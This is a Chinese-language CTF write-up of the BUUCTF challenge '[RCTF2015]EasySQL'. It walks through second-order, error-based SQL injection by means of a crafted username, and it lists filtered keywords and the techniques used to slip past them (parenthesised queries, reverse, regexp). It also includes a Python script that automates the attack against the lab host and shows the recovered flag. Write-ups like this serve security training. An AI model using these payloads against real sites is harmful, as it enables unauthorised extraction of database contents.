[RCTF2015]EasySQL

这道题看了答案才找到注入点。没想到这边闭合用的是双引号......

首先注册一个用户a",然后正常登录,修改密码的时候出现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a"" and pwd='202cb962ac59075b964b07152d234b70'' at line 1

说明修改密码时根据用户名从数据库查找记录,并且有报错,应该是二次注入、报错注入。

于是注册username=a"or(select extractvalue(1,concat(0x7e,(select database()))))#

发现出现报错invalid string!

测试一下过滤:

`

@

<

/**/

<>

!(<>)

and

sleep

order

benchmark

like

rlike

mid

left

right

substr

handler

ascii

ord

char

hex

floor

file

outfile

load_file

pg_sleep

username=a"or(select(extractvalue(1,concat(0x7e,(select(database()))))))#

得到XPATH syntax error: '~web_sqli'

可以用脚本加快效率:

python 复制代码
import requests

url_register = 'http://3515b67f-fe4b-4e16-bf1b-f2541b1d1111.node5.buuoj.cn:81/register.php'
url_login = 'http://3515b67f-fe4b-4e16-bf1b-f2541b1d1111.node5.buuoj.cn:81/login.php'
url_cp = 'http://3515b67f-fe4b-4e16-bf1b-f2541b1d1111.node5.buuoj.cn:81/changepwd.php'

session = requests.session()
username = 'a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))))#'
data = {
    "username": username,
    "password": "123",
    "email": "123"
}
r0 = session.post(url_register, data=data)
print(r0.text)
data = {
    "username": username,
    "password": "123"
}
r1 = session.post(url_login, data=data)
print(r1.text)
data = {
    "oldpass": "123",
    "newpass": "456"
}
r2 = session.post(url_cp, data=data)
print(r2.text)

a"or select(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schma=database()))))

得到XPATH syntax error: '~article,flag,users'

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="flag"))))))#

得到XPATH syntax error: '~flag'

a"or(select(extractvalue(1,concat(0x7e,(select(flag)from(flag))))))#

XPATH syntax error: '~RCTF{Good job! But flag not her'

被骗了。

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="article"))))))#

得到XPATH syntax error: '~title,content'

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(title))from(article))))))#

XPATH syntax error: '~lcsg,wyzb,zrtbf'

应该是uers表中

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="users"))))))#

得到XPATH syntax error: '~name,pwd,email,real_flag_1s_her'

发现最后一个字段不完整,但是这里字符串截取的函数都没有。不过可以用reverse

a"or(select(extractvalue(1,concat(0x7e,(select(reverse(group_concat(column_name)))from(information_schema.columns)where(table_name="users"))))))#

得到XPATH syntax error: '~ereh_s1_galf_laer,liame,dwp,ema'

a"or(select(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))))))#

得到XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

a"or(select(extractvalue(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users))))))#

得到XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

看来必须得截取了,可是我想不出其他截取方法了。

union select能行但是用不了空格,不知道还有什么方法绕过空格。

limit能行但是同样绕不过空格。

突然想到可以用insert:

STUFF(原字符串, 开始位置, 要删除的长度, 要插入的字符串)

SELECT STUFF('abcdef', 2, 3, 'xyz'); -- 结果为 'axyzef'

a"or(select(extractvalue(1,concat(0x7e,(select(insert(group_concat(real_flag_1s_here)),1,32,'')from(users))))))#

insert也没过滤了,只是我字典里没有而已......

可以用正则匹配regexp('^flag')

-- 匹配以 "a" 开头的字符串

SELECT * FROM users WHERE name REGEXP '^a';

-- 匹配以 "z" 结尾的字符串

SELECT * FROM users WHERE name REGEXP 'z$';

a"or(select(extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where((real_flag_1s_here)regexp('^flag')))))))#

得到XPATH syntax error: '~flag{ac1e45ec-849b-4d7f-a62a-e3'

然后逆序一下

a"or(select(extractvalue(1,concat(0x7e,(select(reverse(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^flag')))))))#

得到XPATH syntax error: '~}d7d1b894853e-a26a-f7d4-b948-ce'

flag{ac1e45ec-849b-4d7f-a62a-e358498b1d7d}

总结一下:这道题第一个难点就是找到注入点,闭合需要考虑双引号。二次注入比较隐蔽,需要排查所有可能存在数据库查询的地方,比如这道题,就登录页面、index页面、修改密码页面存在查询数据库。另外,这道题有个难点就是记录太多怎么办,一开始考虑全部group_concat然后再利用字符串截取但是能用的截取函数都被禁用了。补充了一个知识就是条件语句中能使用正则匹配,筛选某字段数据是特定开头或结尾的记录。

相关推荐
运筹vivo@2 天前
BUUCTF: [BSidesCF 2020]Had a bad day
web安全·ctf
三七吃山漆2 天前
[网鼎杯 2020 朱雀组]phpweb
php·ctf·网鼎杯
韩立学长2 天前
【开题答辩实录分享】以《助农信息发布系统设计与实现》为例进行选题答辩实录分享
python·web
unable code2 天前
磁盘取证-Flying_High
网络安全·ctf·misc·1024程序员节·磁盘取证
chxii2 天前
IIS 10.0
web
运筹vivo@2 天前
BUUCTF : [RoarCTF 2019]Easy Java
java·web安全·ctf
unable code2 天前
磁盘取证-ColorfulDisk
网络安全·ctf·misc·1024程序员节·内存取证
unable code3 天前
磁盘取证-[第十章][10.1.2 磁盘取证方法]磁盘取证1
网络安全·ctf·misc·1024程序员节·内存取证
Fᴏʀ ʏ꯭ᴏ꯭ᴜ꯭.4 天前
HAProxy 自定义错误页面配置指南
运维·负载均衡·web
曲幽4 天前
FastAPI日志实战:从踩坑到优雅配置,让你的应用会“说话”
python·logging·fastapi·web·error·log·info